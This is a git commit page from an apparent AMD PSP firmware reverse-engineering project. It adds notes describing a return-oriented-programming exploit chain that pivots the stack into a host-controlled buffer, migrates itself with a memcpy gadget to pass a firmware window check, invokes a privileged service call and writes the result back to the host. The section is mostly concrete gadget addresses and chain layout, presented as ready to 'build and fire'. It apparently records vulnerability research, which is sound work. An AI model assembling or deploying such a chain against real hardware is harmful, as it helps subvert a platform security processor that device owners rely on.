diff options
| author | user <user@clank> | 2026-10-08 10:56:06 +0200 |
|---|---|---|
| committer | user <user@clank> | 2026-10-08 10:56:06 +0200 |
| commit | c2ec77fbdea9b2c12e0a67d1c59661fc0a923cdc (patch) | |
| tree | 9fcebfe87b03d5359fe421e2580b6eccf56d214f | |
| parent | hardware prep: analysis finds the svc 0xf2 gate rejects a command-buffer SP; ... (diff) | |
| download | amd-psp-re-c2ec77fbdea9b2c12e0a67d1c59661fc0a923cdc.tar.gz amd-psp-re-c2ec77fbdea9b2c12e0a67d1c59661fc0a923cdc.tar.xz amd-psp-re-c2ec77fbdea9b2c12e0a67d1c59661fc0a923cdc.zip | |
step 5b: stack-migration solves the svc 0xf2 SP/msg-window gate in one memcpy (operator's idea)
The clean fix for the gate constraint (SP and msg must be in [0x400000,0x800000)): have the ROP copy
itself from the host buffer into the in-window GCP stack and pivot SP there, instead of pre-staging
with many sel-4 writes. One memcpy satisfies both window constraints and the migrated bytes come from
the fully-controlled host command buffer.
Validated with real gadgets: 0x40410a 'blx 0x40111c ; movs r0,#0 ; add sp,#0x28 ; pop {r4,r5,r7,pc}'
is a call-memcpy-and-continue gadget, and 0x40111c is confirmed memcpy(r0=dst,r1=src,r2=len) from the
FE0A parent's own memcpy(params+0x418+sl, slot+8, len) usage.
Recorded the full migration chain: pivot into host buffer -> pop r0=STACK_DST/r1=src/r2=len ->
memcpy gadget copies the svc sub-chain+msg to STACK_DST (0x410000, GCP RW data, in-window, below the
0x41bfc0 frames the graceful return needs) -> repivot mov sp,STACK_DST (SP now in-window) -> migrated
chain: pop r0=1/r1=STACK_DST+msgoff, svc 0xf2 (gate passes), str r0,[r5] exfil status to host buf,
Addendum H graceful return. All in-window refs baked as STACK_DST+off at build time.
This is the chain to build/fire; first silicon attempt stays the service-2 ASD survive-check, then
service-1 0x3103 with exfil. Gadgets verified, memcpy confirmed.
| -rw-r--r-- | fw/FINDING-GCP-ROP-TO-SYSDRV-VIA-SERVICE1.md | 50 |
1 files changed, 50 insertions, 0 deletions
diff --git a/fw/FINDING-GCP-ROP-TO-SYSDRV-VIA-SERVICE1.md b/fw/FINDING-GCP-ROP-TO-SYSDRV-VIA-SERVICE1.md index 84a1b76..cbb8f29 100644 --- a/fw/FINDING-GCP-ROP-TO-SYSDRV-VIA-SERVICE1.md +++ b/fw/FINDING-GCP-ROP-TO-SYSDRV-VIA-SERVICE1.md @@ -344,3 +344,53 @@ a bounded additional build (pre-stage M + sub-chain in-window via sel-4 writes; stack for the svc). Every gadget and the SYS_DRV-side behaviour are already in hand; this is the remaining assembly, and the first silicon attempt should be the service-2 (ASD) survive-check, then service-1 `0x3103` with status exfil. + +## Step 5b: the clean solution to the SP/msg-window gate -- STACK MIGRATION (one memcpy) + +Rather than pre-staging the message and sub-chain in-window with many FE0A sel-4 writes, the ROP +copies itself from the host buffer into the in-window GCP stack and pivots there -- classic stack +migration. One `memcpy` satisfies BOTH gate constraints (SP and msg in `[0x400000,0x800000)`), and +the migrated bytes come straight from the fully-controlled host command buffer. + +A ready **call-memcpy-and-continue** gadget exists, and `0x40111c` is confirmed +`memcpy(r0=dst, r1=src, r2=len)` (from the FE0A parent's own `memcpy(params+0x418+sl, slot+8, len)` +call): + + 0x40410a blx 0x40111c ; movs r0,#0 ; add sp,#0x28 ; pop {r4,r5,r7,pc} + +### The migration chain (primary chain in the host command buffer at RBASE) + + pivot 0x40371c mov sp,r4 ; pop{..,pc} r4=RBASE -> SP into host buffer + setargs 0x40167e pop {r0,r1,r2,..,pc} r0=STACK_DST (e.g. 0x410000, GCP RW data, + in-window, below the live stack frames), + r1=RBASE+0x200 (migrated block, in host buf), + r2=LEN (~0x200), pc=0x40410b + migrate 0x40410a memcpy(STACK_DST, RBASE+0x200, LEN) ; add sp,#0x28 ; pop{r4,r5,r7,pc} + r4=STACK_DST, pc=0x40371d + repivot 0x40371c mov sp,r4(=STACK_DST) ; pop{..,pc} -> SP now IN-WINDOW; chain continues + reading the migrated block from the stack + +### The migrated block (copied to STACK_DST; all addresses relocated to STACK_DST+off) + + setr01 0x40167e pop {r0,r1,..,pc} r0=1 (service 1), r1=STACK_DST+MSG_OFF, pc=0x4061cb + svc 0x4061ca svc 0xf2 ; add sp,#0x1c ; pop {r4,r5,pc} r5=exfil addr (host buf), pc=0x40404f + exfil 0x40404e str r0,[r5] ; add sp,#0x80 ; pop {r4,r5,r7,pc} -> SYS_DRV status to host buf + return (Addendum H graceful return: SP back to 0x41bfc0 -> 0x40498c error path, ring survives) + MSG_OFF: M[0]=0x3103, M[8]=STACK_DST+P_OFF, M[12]=0x44C, rest 0 + P_OFF: zeroed (a1 buffer -> WRITE does a benign 76-byte copy, bounded, non-crashing) + +Because STACK_DST is known at build time, every in-window reference (msg ptr, P ptr) is baked as +`STACK_DST + off`. `STACK_DST=0x410000` is GCP RW data `[0x407000,0x414000)`, writable, below the +`0x41bfc0` frames the graceful return needs, and satisfies the gate: `SP-68>=0x400000`, +`SP<0x800000`, and `sos_proc_switch`'s `memcpy(SP-68, tcb, 0x44)` writes harmlessly into RW data. + +### Why this is better than pre-staging + +* One invoke, not several: no cross-invoke persistence assumptions, no extra sel-4 writes. +* Content is the host buffer -- already fully controlled and easy to lay out/iterate. +* Solves SP-window and msg-window together. + +This is the chain to build and fire. First silicon attempt stays the service-2 (ASD) survive-check +(set r0=2, msg a zeroed in-window buffer) to validate migration + svc + graceful return, then switch +to service 1 / opcode 0x3103 with the status exfil for the confused-deputy confirmation. Gadgets all +verified present in GCP .77; memcpy semantics confirmed. |
